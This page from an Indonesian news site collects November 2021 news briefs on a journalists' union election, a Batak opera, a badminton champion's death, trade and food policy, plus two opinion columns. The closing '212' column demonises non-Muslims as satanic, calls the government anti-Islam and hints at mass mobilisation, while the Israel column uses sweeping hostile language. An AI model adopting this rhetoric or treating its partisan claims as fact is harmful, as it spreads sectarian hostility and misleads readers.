Pengamat Politik dan Pemerhati Bangsa

M Nasir Nurdin Terpilih sebagai Ketua PWI Aceh

Banda Aceh, FNN - Pemimpin Redaksi Theacehpost.com Muhammad Nasir Nurdin pada Ahad dini hari, terpilih sebagai Ketua Persatuan Wartawan Indonesia (PWI) Provinsi Aceh periode 2021-2026, dalam Konferprov PWI Aceh di Hermes Palace Hotel Banda Aceh. Ketua PWI Aceh terpilih M Nasir Nurdin dalam sambutannya mengatakan dirinya mengajak seluruh anggota PWI Aceh, agar mendukung dirinya dalam menjalankan roda organisasi hingga lima tahun ke depan. “Dengan semangat untuk kebaikan PWI ke depan, saya harap tidak ada istilah kotak-kotak lagi, semua unsur akan kita akomodir untuk masuk kepengurusan PWI Aceh ke depan,” katanya. Ia mengatakan PWI adalah rumah besar wartawan, dan ia meminta agar organisasi PWI di Aceh ke depa semakin lebih baik. Pemilihan Ketua PWI Aceh tersebut diikuti oleh lima kandidat, dan berlangsung dua putaran. Pada putaran pertama Nasir Nurdin menempati urutan pertama dengan perolehan 80 suara, kemudian T Haris Fadhillah (RRI) memperoleh 44 suara, Azhari (KBA One) memperoleh 40 suara, Imran Joni (Harian Rakyat Aceh) meraih 28 suara, serta Ianda Novandi (Harian Analisa) meraih 18 suara. Namun pada putaran kedua, Nasir Nurdin unggul memperoleh 121 suara, dan T Haris Fadhilah meraih 83 suara, dan surat suara yang rusak sebanyak tiga lembar. Selain memilih ketua, dalam Konferprov XII PWI Aceh 2021 juga dilakukan pemilihan Ketua Dewan Kehormatan Provinsi (DKP) PWI Aceh Periode 2021-2026. Pemilihan ini dimenangkan oleh Tarmilin Usman dengan perolehan 107 suara dan Aldin Nainggolan memperoleh 101 suara. (mth)

BPNB Aceh Tampilkan Opera Batak pada Pertunjukan Warna Danau di Padang

Padang, FNN - Balai Pelestarian Nilau Budaya (BPNB) Aceh akan menampilkan opera Batak berisi kisah warisan budaya yang ada di sekitar Danau Toba pada seni pertunjukan bertajuk Warna Danau di Padang pada 22 November 2021. Kepala BPNB Aceh Nurmatias di Padang, Minggu menyampaikan pertunjukan "Warna Danau" merupakan upaya memperkenalkan keberagaman seni dan budaya yang ada di kawasan Danau Toba. BNPB Aceh mengangkat kekayaan seni dan budaya Danau Toba ini karena merupakan bagian dari wilayah kerja BPNB Aceh yang meliputi Provinsi Aceh dan Sumatera Utara. "Seni dan budaya ini menjadi pemersatu di kawasan Danau Toba," ujarnya. Dipilihnya Kota Padang sebagai salah satu lokasi pertunjukan menurut Nurmatias di antaranya karena sendratari "Warna Danau" ini ada kemiripan dengan seni pertunjukan yang populer di Sumatera Barat, yaitu randai. "Dalam sendratari "Warna Danau" ada unsur silatnya. Jadi, pertunjukan ini bisa familiar dengan warga Kota Padang," kata dia. Pertunjukan "Warna Danau" akan menghadirkan penonton dengan mengikuti protokol kesehatan sesuai dengan aturan masa pandemi COVID-19. Sementara Maestro Opera Batak Thompson HS menyampaikan "Warna Danau" merupakan pertunjukan sendratari dipadu dengan seni pertunjukan lainnya yang dihelat di empat kota di Indonesia yaitu Balige, Padang, Jakarta, dan Medan. Kegiatan ini berlangsung dari tanggal 13 November hingga 18 Desember 2021 dan pertunjukan "Warna Danau" di Kota Padang dilaksanakan bertempat di Truntum Hotel pukul 16.00-17.30 WIB. Menurut dia sendratari "Warna Danau" diilhami oleh opera batak yang terkenal di sekitar kawasan Danau Toba. Sanggar-sanggar opera batak dan seni pertunjukan tradisi lainnya tumbuh dan berkembang di kawasan ini. Ia menjelaskan pertunjukan "Warna Danau" berangkat dari opera batak tapi, tak menampilkan opera batak secara utuh. "Kami menampilkan sekitar 30 warisan budaya tak benda yang ada di sekitar Danau Toba. Ada tari, lakon, musik, silat, ritual dan yang lainnya," ujarnya. Sebagai maestro opera batak dan peraih Anugerah Kebudayaan Kemendikbud tahun 2016, opera batak "Warna Danau" akan menjadi pertunjukan yang memukau. Lewat pertunjukan ini, Thompson hendak memperkenalkan kekayaan warisan budaya tak benda yang ada di Danau Toba. Dengan ditetapkannya Danau Toba sebagai destinasi wisata super prioritas, wisatawan tidak hanya melihat keindahan alam, tapi juga melihat kekayaan budaya. Kawasan danau berada di berbagai kabupaten di Sumatera Utara. Secara budaya, danau ini dijaga oleh delapan penjuru. Kawasan di sekitar Danau Toba menjadi asal bagi puak-puak yang memiliki kekayaan budaya yang memiliki kesamaan dan perbedaan satu sama lain. "Opera batak "Warna Danau" menampilkan seniman-seniman tradisi yang mewakili empat puak di dari sekitar Danau Toba. Empat puak itu adalah Simalungun, Toba, Karo, dan Pakpak," ujarnya. "Seniman ini merupakan anak-anak muda yang menggeluti seni dari sanggar-sanggar yang ada di daerahnya. Mereka diseleksi, kemudian mengikuti pelatihan selama sembilan bulan," katanya lagi. (mth).

Weleh, Prabowo Bertemu Itay Tagner

By M Rizal Fadillah Itay Tagner adalah Kuasa Usaha Israel di Bahrain. Pejabat Israel ini bertemu dengan Menteri Pertahanan Indonesia Prabowo Subianto di Bahrain. Pertemuan ini bocor atas berita The Times of Israel yang menuliskan "in rare meet, Israeli envoy to Bahrain seem talking with Indonesian defense minister". Yang terungkap di dalam negeri adalah agenda Prabowo menghadiri Forum "The 17th Internasional Institute for Strategic Studies (IISS) Manama Dialoge 2021. Pembicaraan Prabowo dengan juru lobi politik Israel Itay Tagner yang fotonya diedarkan kantor berita AFP itu menjadi representasi pembicaraan Indonesia dengan Israel karena keduanya adalah pejabat penting masing-masing negara. Tentu berbeda dengan pertemuan Abu Janda dengan tentara "cacing cau" Israel yang sempat diviralkan. Apa substansi pembicaraan, menjadi rahasia kedua pejabat bahkan mungkin rahasia kedua negara. Rakyat tidak boleh tahu. Apakah berbicara tentang kerjasama pertahanan Indonesia Israel, agenda pembukaan hubungan diplomatik, atau membahas strategi Israel di Timur Tengah dan Asia Tenggara ? Yang jelas bukan sekelas kongkow-kongkow di warung kopi. Pertemuan Prabowo-Itay wajar direaksi anak bangsa. Israel adalah negara penjajah. Negara terkutuk yang menduduki Palestina tanpa hak, membangun pemukiman dan merebut tanah milik warga Palestina, serta melawan seruan internasional untuk memulihkan dan mengakui kemerdekaan negara Palestina. Israel adalah musuh bangsa-bangsa. Musuh dunia. Pembukaan UUD 1945 menegaskan bahwa kemerdekaan itu ialah hak segala bangsa dan oleh sebab itu, maka penjajahan diatas dunia harus dihapuskan karena tidak sesuai dengan perikemanusiaan dan perikeadilan. Bunyi alinea pertama ini penting bahkan sangat penting. Harus menjadi pedoman bagi seluruh warga dan pejabat bangsa Indonesi, khususnya dalam melaksanakan pergaulan internasionalnya. Prabowo jelas melanggar UUD 1945 dengan mengadakan pembicaraan dengan Itay Tagner. Mengakui dan mentoleransi keberadaan negara penjajah. Bila ada tujuan lain, Menhan harus segera mengklarifikasi kepada seluruh bangsa Indonesia, apakah pembicaraan itu inisiatif sendiri atau atas perintah Presiden. Jika Indonesia berniat menormalisasi hubungan dengan negara Israel sebelum Israel mengakui kemerdekaan Palestina, maka rakyat Indonesia harus menentangnya. Tidak boleh menoleransi negara penjajah yang telah nyata-nyata menginjak-injak asas perikemanusiaan dan perikeadilan. Prabowo dan Jokowi harus bertanggungjawab. *) Pemerhati Politik dan Kebangsaan

Pahlawan Bulu Tangkis Indonesia Verawaty Fadjrin Meninggal Dunia

Jakarta, FNN - Dunia bulu tangkis indonesia kembali berduka. Salah satu pahlawannya, yakni Verawaty Fadjrin berpulang di Rumah Sakit Dharmais, Jakarta, Ahad, 21 November 2021 pukul 06.58 WIB setelah sebelumnya mengalami sakit yang cukup lama. "Innaalillaahi wa inna ilaihi rojiun. PBSI dan keluarga besar bulu tangkis Indonesia turut berduka cita atas berpulangnya salah satu pahlawan bulu tangkis Indonesia, Verawaty Fadjrin. Almarhumah adalah pemain yang berjasa besar mengangkat prestasi bulu tangkis Indonesia di pentas dunia. Semoga arwahnya diterima di sisi Allah dan keluarga yang ditinggalkan diberi ketabahan " kata Ketua Umum PP PBSI, Agung Firman Sampurna dalam keterangan tertulisnya, Ahad, 21 November 2021. Verawaty Fadjrin yang merupakan mantan pemain yang sarat prestasi besar ini berpulang dalam usia 64 tahun setelah sempat menjalani perawatan akibat sakit kanker paru-paru. Hingga akhir hayatnya, Vera meninggalkan suami Fadjriansyah Bidoein, seorang anak Fidyandini dan dua cucu. Jenazah Vera akan dimakamkan di TPU Tanah Kusir, Jakarta Selatan, Ahad siang, diberangkatkan dari rumah duka Kavling DKI Cipayung yang berlokasi di Jalan Durian Blok T 1 No. 23 RT 01 / 08, Cipayung, Jakarta Timur. Sebelumnya, almarhumah disalatkan di Masjid Al Islam, di kawasan Cipayung, Jakarta Timur. Dikutip dari Antara, sederet prestasi telah dibukukan Vera semasa membela skuad Merah Putih. Pada tunggal putri, mantan atlet kelahiran Jakarta, 1 Oktober 1957 ini menjuarai Kejuaraan Dunia 1980 di Jakarta. Dia menjadi kampiun usai di final mengalahkan rekannya, Ivana Lie, 11-1, 11-3. Setahun sebelumnya, bersama Imelda Wigoena, Vera juga merenggut juara All England 1979 setelah menekuk Atsuko Tokuda/Mikiko Takada (Jepang) 15-3, 10-15, 15-5. Mereka pun menjadi pasangan ganda putri kedua Indonesia yang sukses di All England setelah Minarni/Retno Kustiyah yang melakukannya pada 1968. Bersama Imelda pula, Vera merebut emas SEA Games Manila 1981. Bersama Imelda pula, Vera sukses merebut medali emas Asian Games VIII tahun 1978 di Bangkok. Pada babak final, mereka mengalahkan Chiu Yu Fang/Cheng Hui Ming (China). Sebelumnya, mereka juga memenangi titel Denmark Terbuka 1978. Di luar itu, masih banyak prestasi besar yang dicatat Vera. Bersama Eddy Hartono, Vera sebelumnya juga ikut mengantarkan Indonesia memboyong Piala Sudirman 1989. Mereka menjadi penentu kemenangan tim Garuda 3-2 atas Korea Selatan di final setelah mengatasi Park Joo-bong/Chung Myung-hee 18-13, 15-3. (MD).

Indonesia Perkenalkan Terasi Kepada Masyarakat Prancis

Jakarta, FNN - Rumah Indonesia Paris atau Le Maison De L'Indonesie (LMDI) memperkenalkan terasi, sagu rumbai, moringa, gula aren, gula kelapa dan coklat kepada pelajar kelas pattiserie dan cuisine tahun kedua di sekolah gastronomi terbesar di Prancis, Ferrandi. "Kali ini produk yang dibawa lebih banyak dan juga dibuat testing untuk setiap produk. Selain itu, juga diberikan informasi teknis tentang setiap produk," kata pemilik LMDI Eka Moncaer dalam keterangannya diterima Antara, Ahad, 21 November 2021. LMDI memperkenalkan sejumlah produk yang telah melalui kurasi di Rumah Indonesia. Seluruh pelajar juga berkesempatan mencicipi kue Indonesia yang dibuat dari bahan tersebut seperti kue ongol-ongol dengan gula aren dan sagu rumbia, serta kue lapis hijau dengan moringa dan sagu rumbia. Sejumlah peserta antusias dan tertarik mengenal produk-produk Indonesia. Mereka tertarik menggunakan produk Indonesia dalam proyek gastronomi di Prancis. Strategi yang diterapkan LMDI yakni "Tak Kenal Maka Tak Sayang", sehingga membuat warga Prancis jatuh cinta dengan produk Indonesia. Pada pekan sebelumnya, LMDI juga memaparkan tentang kopi, coklat, dan jamu Indonesia di Ferrandi. (MD).

Alhamdulillah, Habib Bahar bin Smith Sudah Bebas

Jakarta, FNN - Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) melalui Lembaga Pemasyarakatan (Lapas) Khusus Kelas IIA Gunung Sindur membenarkan Assayid Bahar alias Habib Bahar bin Ali bin Smith sudah bebas karena telah selesai menjalani masa pidana. "Yang bersangkutan telah selesai menjalani masa pidana secara murni. Sesuai dengan perhitungannya, pembebasannya jatuh pada hari ini, (Ahad), 21 November 2021," kata Kepala Lapas Khusus Kelas IIA Gunung Sindur Mujiarto melalui keterangan tertulis Direktorat Jenderal Pemasyarakatan Kemenkumham yang diterima di Jakarta, Ahad, 21 November 2021. Dikutip dari Antara, Habib Bahar mulai ditahan pada tanggal 18 Desember 2018. Selama menjalankan masa pidana, dia mendapatkan remisi atau pemotongan masa hukuman selama 4 bulan. Pemberian remisi diberikan sesuai dengan Pasal 34 Peraturan Pemerintah (PP) Nomor 99 Tahun 2012 tentang Perubahan Kedua atas PP Nomor 32 Tahun 1999 tentang Syarat dan Tata Cara Pelaksanaan Hak Warga Binaan Pemasyarakatan. Selain itu, mengacu pada Peraturan Menteri Hukum dan Hak Asasi Manusia Nomor 18 Tahun 2019 tentang Perubahan atas Peraturan Menteri Hukum dan Hak Asasi Manusia Nomor 3 Tahun 2018 tentang Syarat dan Tata Cara Pemberian Remisi, Asimilasi, Cuti Mengunjungi Keluarga, Pembebasan Bersyarat, Cuti Menjelang Bebas, dan Cuti Bersyarat. Terkait dengan pembebasan Habib Bahar, Mujiarto mengatakan pihaknya telah berkoordinasi dengan aparat penegak hukum setempat, yakni Kepolisian Resor (Polres) Bogor, Kepolisian Sektor (Polsek) Gunung Sindur, dan Komando Rayon Militer (Koramil) Gunung Sindur guna memberikan pendampingan. "Kami pastikan pembebasan berjalan aman dan lancar sesuai dengan prosedur dan protokol kesehatan," katanya. (MD).

Pusri Siapkan Kebutuhan Pupuk Urea di Sembilan Provinsi

Palembang, FNN - PT Pupuk Sriwidjaja (Pusri) yang merupakan anak perusahaan PT Pupuk Indonesia (Persero) menyiapkan kebutuhan pupuk di sembilan provinsi guna mendukung musim tanam Oktober 2021-Maret 2022. Vice President Hubungan Masyarakat PT Pusri, Soerjo Hartono di Palembang, Ahad, 21 November 2021mengatakan, ke-9 provinsi itu adalah Bangka Belitung, Sumatera Selatan (Sumsel), Bengkulu, Lampung, Jawa Tengah, Yogyakarta, Bali, Nusa Tenggara Barat, dan sebagian Jawa Timur. “Total stok Urea yang disiapkan terhadap sembilan provinsi itu 173.432 ton dari ketentuan yang ditetapkan 99.566 ton,” kata Soerjo, sebagaimana dikutip dari Antara. Selain Urea, Pusri juga menyiapkan kebutuhan pupuk NPK di dua provinsi, yaitu Sumsel dan Lampung dengan total stok 24.567 ton dari ketentuan 10.828 ton. Kebutuhan pupuk bersubsidi telah disalurkan sesuai dengan ketentuan pemerintah. Yaitu disalurkan kepada petani yang telah terdaftar dan masuk dalam e-RDKK agar mempermudah proses evaluasi dan alokasi oleh Kementerian Pertanian. Selain bertanggung jawab menyediakan pupuk bersubsidi, guna mengantisipasi lonjakan kebutuhan petani, Pusri juga menyiapkan stok pupuk nonsubsidi dan rangkaian produk inovasi Pusri. Harga pupuk nonsubsidi itu, ditentukan oleh mekanisme pasar, khususnya pasar internasional. Saat ini, di pasar global sedang terjadi lonjakan permintaan pupuk yang diikuti dengan turunnya pasokan atau suplai di pasar internasional. Penyebabnya, antara lain, beberapa negara penghasil pupuk menghentikan sementara kegiatan ekspor guna memenuhi kebutuhan dalam negerinya. Negara-negara itu, antara lain RR China, Rusia dan beberapa negara lain juga mengalami kesulitan pupuk untuk kebutuhan dalam negerinya. Kondisi ini diperparah dengan adanya krisis energi yang terjadi di Eropa yang mengakibatkan terjadinya lonjakan harga gas dunia. Hal tersebut menyebabkan biaya produksi pupuk juga naik secara signifikan. Akibatnya, banyak pabrik pupuk yang menghentikan produksinya karena biaya produksi terlalu tinggi. Kekurangan pasok tersebut menyebabkan harga pupuk di pasar internasional kembali naik, termasuk pupuk urea. Hal inilah yang memicu terjadinya kenaikan harga pupuk yang signifikan karena permintaan melebihi suplainya. Khusus pupuk jenis DAP dan KCl Harga urea impor , kini harganya sekitar Rp12,7 juta per ton. Mengantisipasi hal tersebut, Pupuk Indonesia Grup, memberlakukan harga pupuk yang masih terjangkau dan tidak terlalu memberatkan petani dan konsumennya. Kini, harga yang ditetapkan oleh Pupuk Indonesia Grup sekitar 74 persen dari harga pupuk internasional. (MD).

Perkuat Stok Penyangga Pangan Melalui Sinergi Bulog dan Badan Pangan Nasional

Jakarta, FNN - Anggota Komisi VI DPR RI, Herman Khaeron menginginkan Perum Bulog (Perusahaan Umum Badan Urusan Logistik) meningkatkan sinergi dengan Badan Pangan Nasional. Hal itu perlu dilakukan dalam usaha memperkuat stok penyangga bukan hanya dalam komoditas beras, tetapi juga berbagai jenis bahan pangan lainnya yang dibutuhkan warga. "Bulog dibentuk menjadi stok penyangga atau buffer stock nasional bahan pangan pokok. Bukan hanya beras, tetapi yang lain-lainnya pun bisa," kata Herman Khaeron dalam rilis di Jakarta, Ahad, 21 November 2021. Menurut politisi Partai Demokrat ini, semestinya Badan Pangan Nasional yang merupakan amanat UU Pangan dapat menjadi representasi Bulog. Ia berharap agar Perum Bulog maupun Badan Pangan Nasional dapat betul-betul bersinergi. "Dalam pemikiran kami, Badan Pangan Nasional itu sebagai regulatornya dan Bulog sebagai operatornya," katanya. Ia mengemukakan agar kontribusi Perum Bulog sebagai stabilisator harga berbagai komoditas pokok dan pangan sangat strategis sehingga perannya perlu diperkuat. Herman Khaeron mengingatkan, dahulu peran Bulog sangat kuat karena mengurusi bahan pangan pokok, khususnya sembako (sembilah bahan kebutuhan pokok). Namun pada era reformasi, peran Bulog dibatasi hanya mengurusi komoditas beras dan gula pasir. "Melalui Undang-Undang Nomor 18 Tahun 2012 (tentang Pangan) kami kuatkan lagi. Karena peran Bulog sebagai stabilisator harga di tingkat konsumen dan di tingkat produsen sebagai buffer stock nasional yang menjamin ketersediaan dan keterjangkauan harga di seluruh Indonesia," ucapnya sebagaimana dikutip dari Antara. Keberadaan Bulog, ujarnya, harus ditopang melalui anggaran belanja negara, status dan fungsi Bulog sebagai buffer stock nasional semestinya dikembalikan. Kemudian, , Bulog juga harus memiliki outlet (gerai) sebagai penyaluran beras petani. Hal itu perlu dilakukan agar peran Bulog dalam menjaga ketersediaan serta stabilitas harga pangan pokok dan pangan strategis nasional. (MD).

Surplus Nonmigas Indonesia Atas Malaysia Naik Hampir 200 Persen

Kuala Lumpur, FNN - Neraca perdagangan nonmigas Indonesia-Malaysia pada periode Januari-September 2021 mencatatkan surplus sebesar 3,39 miliar dolar AS bagi Indonesia. Angka tersebut melonjak hingga 192,69 persen atau hampir 200 persen dibandingkan dengan periode yang sama tahun 2020. Data tersebut disampaikan Direktur Jenderal Pengembangan Ekspor Nasional Kementerian Perdagangan, Didi Sumedi sebagaimana disampaikan ke Atase Perdagangan KBRI Kuala Lumpur, Sabtu, 20 November 2021. Dikutip dari Antara, Ahad, 21 November 2021, total perdagangan Indonesia-Malaysia pada Januari-September 2021 juga meningkat 46,43 persen dibanding periode yang sama tahun sebelumnya, dengan nilai 15,05 miliar dolar AS. "Surplus perdagangan yang cukup besar itu tentu merupakan capaian yang sangat baik. Hal tersebut seiring dengan peningkatan ekspor berbagai komoditas andalan Indonesia ke Malaysia seperti batu bara, CPO (minyak sawit mentah), tembaga, besi dan baja serta berbagai produk kimia,” ujar Didi Sumedi. Duta Besar RI untuk Malaysia, Hermono pada pembukaan Selangor International Bussiness Summit 2021, di Kuala Lumpur beberapa waktu lalu menyatakan ekspor nonmigas Indonesia ke Malaysia pada periode Januari-September 2021 mencapai 7,53 miliar dolar AS. Nilai tersebut tumbuh hingga 61,7 persen dibandingkan periode yang sama tahun 2020. Menurut Hermono, nilai ekspor tersebut juga merupakan yang tertinggi dalam sepuluh tahun terakhir. Capaian itu sangat menggembirakan, dan ia berharap dapat terus bertambah hingga akhir 2021. "Lonjakan ekspor yang sangat tinggi itu tentu sangat menggembirakan. Hal tersebut menunjukkan, permintaan barang dari Indonesia sudah mulai pulih, bahkan meningkat pascapembatasan ketat yang dilakukan Malaysia sejak awal pandemi Covid-19 melanda," ujar Hermono. Beberapa produk ekspor nonmigas yang naik cukup tinggi, antara lain tembaga (265,11 persen), lemak dan minyak hewan/nabati (164,9 persen), berbagai produk kimia (112,20 persen), besi dan baja (65,89 persen), dan batu bara (50,29 persen). Atase Perdagangan RI Kuala Lumpur, Deden Muhammad Fajar Shiddiq mengatakan, pertumbuhan ekspor nonmigas Indonesia merupakan yang tertinggi di antara sepuluh negara eksportir terbesar ke Malaysia. Indonesia merupakan negara eksportir keenam terbesar ke Malaysia setelah China, Amerika Serikat, Singapura, Jepang, dan Taiwan. “Mulai dibukanya kembali berbagai kegiatan ekonomi di Malaysia pascapembatasan sosial berkaitan dengan Covid-19 merupakan momentum yang sangat baik untuk terus meningkatkan ekspor nonmigas RI ke Malaysia sampai dengan akhir tahun 2021 ini,” ujar Deden. (MD).

212: Injury Time Rezim Jokowi

Oleh: Yusuf Blegur Eskalasi intimidasi, tekanan dan bahkan teror terhadap kekuatan Islam di Indonesia terus meningkat. Strategi melumpuhkan pemimpin-pemimpin Islam yang teguh dan istiqomah terhadap Al Quran dan sunah, menjadi prioritas dan mendesak untuk diprogram dan direalisasikan secara masif, sistematik dan terorganisir. Pemerintah yang di dalamnya kental dengan gerombolan anti Islam ini, tahu betul memanfaatkan umat Islam yang rapuh, tercerai-berai dan patron klain terhadap pemimpin-pemimpin agama. Seperti memuntahkan peluru dari pelbagai penjuru mata angin. Serangan brutal rezim kekuasaan mulai menggerogoti umat Islam. Satu persatu mulai dibidik, terutama mulai dari para ustadz, kyai hingga kalangan habaib. Kepemimpinan Islam dalam ranah struktural, kultural hingga barisan intelektual dan pro demokrasi mulai dilumpuhkan. Rezim sepertinya sangat paham dengan memasung Ulama, umat Islam bagai rangkaian gerbong tanpa lokomotif. Seperti apa yang disampaikan Kapolri Jenderal Sigit Sulistyo belum lama ini. "Kalau tidak bisa mengatur ekor, potong kepalanya. Narasi bersayap yang tepatnya mengarah ke umat Islam ketimbang pada pembenahan internal jajaran polri. Sejarah selalu menunjukkan fakta yang tak terbantahkan. Bahwa kekuatan Islam yang begitu radikal dan fundamental yang melahirkan kemerdekaan Indonesia. Namun sepanjang kemerdekaan itu berlangsung hingga kini. Islam tetap tidak pernah menikmati buah perjuangannya yang begitu besar dan tak ternilai. Selain tergusurnya penerapan syariat Islam dalam kehidupan berbangsa dan bernegara. Praktis penyimpangan awal dan dasar dalam balutan konsensus nasional. Hingga kini terus diikuti problematika dan kegagalan-kegagalan mewujudkan masyarakat adil makmur. Paling terdampak signifikan dari kerusakan sistem dan tata kelola negara adalah keberadaan umat Islam. Selain urung menikmati negara kesejahteraan, umat Islam seperti menjadi langganan dan abadi mengalami destruksi dan pendangkalan aqidah. Melalui framing jahat dan penghancuran halus dengan narasi moderasi. Islam secara bertubi-tubi dan tak pernah berhenti, mengalami serangan dahsyat dari konspirasi peradaban gelap dunia. Secara global ataupun di Indonesia khusunya, Islam selalu menjadi korban dari kebencian dan peperangan yang dilakukan kaum kapitalis-komunis. Begitu luas dan bervariasi tuduhan dan fitnah terhadap umat Islam dari siapapun golongannya. Seperti maklumat visioner Al Quran yang menyebutnya kaum kafirun, munafikun dan fasikun. Semua produk pemikiran sesat yang sejatinya sama, bisa tampil dalam kemasan liberal, sekuler dan termasuk atheis. Aliran pemahaman yang menghilangkan keberadaan Tuhan dan menjadikan dunia beserta materi sebagai berhala. Mereka yang menyiram umat Islam dengan julukan intoleran, radikal, fundamental hingga teroris. Padahal merekalah sejatinya asal dan yang mengembangkan. Merekalah perangai setan berwujud orang-orang diluar Islam yang membuat kerusakan, tipu muslihat dan beragam makar di dunia. Peradaban menunjukkan penganiayaan bahkan mengarah genosida terhadap umat Islam tak bisa ditutup-tutupi dari kenyataan umat Islam di Irak, Mesir, Suriya, Uyghur China, Tibet dll., yang dilakukan non muslim. Situasi Kritis dan Kekalahan Rezim Rezim Jokowi saat ini boleh mengusung dada telah memiliki segalanya. Merasa kekuasaannya telah memiliki dan mengatur semua kehidupan rakyat. Apa yang kurang untuk menyatakan kekuatan absolutenya selain birokrasi, politisi dan militer termasuk intelektual sesat dan organiasasi massa yang melacur. Belum lagi ditambah sokongan dana dari para cukong yang mewakili negara-negara adidaya dan borjuasi korporasi. Rezim yang menyandang status pemerintahan boneka dan kumpulan oligarki ini. Seperti jumawa dan merasa angkuh dengan kekuasaannya yang mampu membawanya pada fase diktator dan otoriter. Rezim tiran yang represif dan bengis ini berhasil melumpuhkan kedaulatan rakyat. Pemerintahan yang sarat dipenuhi korupsi, kolusi dan nepotisme dalam setiap kebijakan dan bahkan pada mimpinya sekalipun. Namun sedemikian besar dan kuat kekuasaan yang digenggamnya. Seiring waktu rezim Jokowi juga punya batasan. Tak ada pesta yang tak akan berakhir. Seperti kapitalisme betapapun kuatnya, ia akan sekarat dari dalam. Begitu juga dengan rezim Jokowi, yang didalamnya sudah saling lempar bola, menuding dan cakar-cakaran. Termasuk bola panas menteri BUMN Erick Tohir yang sudah menyeret-nyeret Jokowi dalam kasus sengkarut bisnis PCR. Pertengkaran di dalam lingkaran istana boneka itu bukan yang pertama dan terakhir mengiringi pemerintahan Jokowi. Termasuk pentolan relawan Joko Mania, Emanuel ebanezer yang menuntut hukuman mati bagi para menteri yang terlibat bisnis PCR. Tuntutan yang mengarah salah satunya pada Luhut Binsar panjaitan orang dekat Jokowi sekaligus presiden bayangan. Apapun motifnya relawan dan para buzzer, setidak menandai gontok-gontokan saling berebut pengaruh dan kue kekuasaan dari dalam sendiri. Kerapuhan dan gentingnya pemerintahan Jokowi juga dipenuhi oleh banyaknya kegagalan pembangunan dan kinerja buruk para pembantu dan gerbong akomodasi politiknya. Selain tidak sedikit mangkraknya proyek infra struktur dan bangkrutnya BUMN strategis. Banjir Sintang Kalbar yang belum surut sebulan ini, seperti menyiratkan perilaku rezim yang suka merusak lingkungan dan ekosistem kehidupan mahkluk hidup. Negara juga terancam lilitan utang yang tak terbayar akibat manajemen ugal sang presiden. Kemunduran dan kegagalan kinerja seakan menyempurnakan rezim Jokowi yang kadung telah distempel rakyat dengan raja segala keburukan dan sebagai presiden yang tak pernah tepati janji. Akan tetapi, dari buruknya performancenya dan berbahayanya rezim Jokowi menjaga kedaulatan NKRI dalam soal-soal ekonomi, politik, hukumuyyg dan keamanan. Sepertinya, ada yang jauh lebih beresiko. Lebih mengkhawatirkan dan berdampak fatal, tatkala Jokowi dan instrumen kekuasaannya memusuhi dan cenderung anti Islam. Hingga perkembangan terakhir setelah penangkapan Ustadz Dr. Farid Ahmad Okbah, Dr. Ahmad Zain An Nazah dan Ustadz Dr. anung Al-Hamat. Mereka yang menjadi bagian dari Ulama dan representasi umat Islam. Mendapat perlakuan yang tidak bermartabat dan tidak senonoh dari perilaku rezim Jokowi. Kekuasan Jokowi benar-benar merendahkan marwah para Ulama yang bisa berarti merendahkan para Nabi dan selanjutnya pada agama Islam secara keseluruhan. Apapun motif, alasan dan justifikasi pemerintah, di mata umat Islam telah usang dan tak berdasar. Terutama saat masih bernafsu mengumbar masalah terorisme dan atau stereotif lainya untuk mengeksploitasi dan menggembosi umat Islam. Selain tingkat kejumudan yang akut dari umat Islam. Jualan isu dan sentimen keagamaan itu, justru malah membangkitkan emosi umat Islam. Gejolak psikis yang memungkinkan mendorong kemarahan dan perlawanan umat Islam. Sederet penistaan, kriminslisasi, bahkan pendangkalan aqidah terhadap pemimpin, umat dan agama Islam. Mungkin saja tidak meledak karena benteng shalat dan kesabaran umat Islam. Namun kali ini, seiring waktu umat Islam mulai melakukan refleksi, evaluasi dan kontemplasi. Boleh jadi berubah mewujud klimaks dari kesadaran krisis umat Islam. Terlebih waktu mendekat pada kalender tanggal 2 desember penghujung tahun ini. Sebagai flasback peristiwa 2-12-2016 yang monumental bagi gerakan Islam yang hakikatnya kehendak IIahi. Momentum ikonik dan bersejarah bagi umat Islam yang telah membuktikan kekuatan umat Islam di Indonesia. Oleh situasi dan keadaan, sepertinya akan memaksa terjadinya pengulangan sejarah itu. Apa yang dikenal dengan 212 itu, akan menjadi senjata efektif bagi umat Islam untuk mengembalikan kebaikan dan kebenaran bagi agama, negara dan bangsanya. Tentu saja kebalikan yang akan dirasa rezim Jokowi. Situasi dan kondisi itu jika sampai terjadi lagi. Tampaknya akan menjadi episode yang menentukan bagi keberadaan dan kesinambungan eksistensi pemerintahan Jokowi. Bagi umat Islam sendiri, ini menjadi menarik. Selain merupakan titik balik. Upaya reunian 212 itu akan menjadi roh dan giroh kekuatan umat Islam untuk bangkit dari keterpurukan selama ini. Bukan sekedar gerakan kultural, 212 juga akan mewujud sebagai kekuatan politik Islam yang selama ini tidur panjang dan mengalami mati suri. Negara dan rakyat seakan menunggu, akankah kebangkitan Islam bukan sekedar utopi. Mampukah ukuwah Islamiyah hadir ditengah degradasi keagamaan selama ini?. Akankah resolusi jihad secara substansi dan esensi dapat mewujud melawan semua kedzoliman sebagai upaya menegakan amar maruf nahi mungkar pada kejahiliyahan zaman modern?. Layaknya perjalanan sebuah episode, bukan tidak mungkin momentum 212 menjadi injury time bagi pemerintahan Jokowi. Sebuah pembuktian game, diantara kedigdayaan atau kekalahan sebuah rezim dari geliat rakyat. "There is point of no return" begitulah menggambarkan situasi dan kondisi yang berkembang. Bisa juga "blessing in disquise" bisa diambil bagi keduanya yang saling berhadap-hadapan, sembari berharap dan menunggu ketentuan Allah Subanahu wa ta'ala. Wallahu a'lam bishawab. Penulis, Pegiat Sosial dan Aktifis Human Luhur Berdikari.

Menguji “Fakta Hukum” Bisnis PCR Luhut dan Erick

